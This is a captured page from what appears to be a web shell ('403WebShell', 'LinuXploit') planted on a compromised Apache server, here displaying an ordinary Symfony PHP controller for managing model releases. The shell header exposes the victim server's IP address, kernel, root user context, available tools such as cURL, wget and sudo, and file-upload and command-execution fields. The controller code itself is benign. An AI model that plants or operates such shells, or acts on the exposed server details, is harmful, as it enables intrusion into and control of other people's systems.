WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Controller/ModelReleaseController.php
<?php

namespace App\Controller;

use App\Entity\ModelRelease;
use App\Form\ModelReleaseType;
use App\Repository\ModelReleaseRepository;
use App\Repository\ReleaseRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;

/**
 * @Route("/model/release")
 */
class ModelReleaseController extends AbstractController
{
    /**
     * @Route("/", name="model_release_index", methods={"GET"})
     */
    public function index(ModelReleaseRepository $modelReleaseRepository): Response
    {
        return $this->render('model_release/index.html.twig', [
            'model_releases' => $modelReleaseRepository->findAll(),
        ]);
    }

    /**
     * @Route("/new", name="model_release_new", methods={"GET","POST"})
     */
    public function new(Request $request): Response
    {
        $modelRelease = new ModelRelease();
        $form = $this->createForm(ModelReleaseType::class, $modelRelease);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $entityManager = $this->getDoctrine()->getManager();
            $entityManager->persist($modelRelease);
            $entityManager->flush();

            return $this->redirectToRoute('model_release_index');
        }

        return $this->render('model_release/new.html.twig', [
            'model_release' => $modelRelease,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="model_release_show", methods={"GET"})
     */
    public function show(ModelRelease $modelRelease): Response
    {
        return $this->render('model_release/show.html.twig', [
            'model_release' => $modelRelease,
        ]);
    }

    /**
     * @Route("/{id}/edit", name="model_release_edit", methods={"GET","POST"})
     */
    public function edit(Request $request, ModelRelease $modelRelease): Response
    {
        $form = $this->createForm(ModelReleaseType::class, $modelRelease);
        $form->handleRequest($request);

        if ($form->isSubmitted() && $form->isValid()) {
            $this->getDoctrine()->getManager()->flush();

            return $this->redirectToRoute('model_release_index');
        }

        return $this->render('model_release/edit.html.twig', [
            'model_release' => $modelRelease,
            'form' => $form->createView(),
        ]);
    }

    /**
     * @Route("/{id}", name="model_release_delete", methods={"DELETE"})
     * @param Request $request
     * @param ModelRelease $modelRelease
     * @param ReleaseRepository $releaseRepository
     * @return Response
     */
    public function delete(Request $request, ModelRelease $modelRelease, ReleaseRepository $releaseRepository): Response
    {
        if ($this->isCsrfTokenValid('delete'.$modelRelease->getId(), $request->request->get('_token'))) {
            $entityManager = $this->getDoctrine()->getManager();
            //Delete the file
            $releaseFile = $releaseRepository->findOneBy(['model' => $modelRelease->getModel()]);
            $entityManager->remove($releaseFile);
            //
            $entityManager->remove($modelRelease);

            $entityManager->flush();
            return $this->redirectToRoute('model_show',['id'=>$request->request->get('model_id')]);
        }

        return $this->redirectToRoute('model_release_index');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit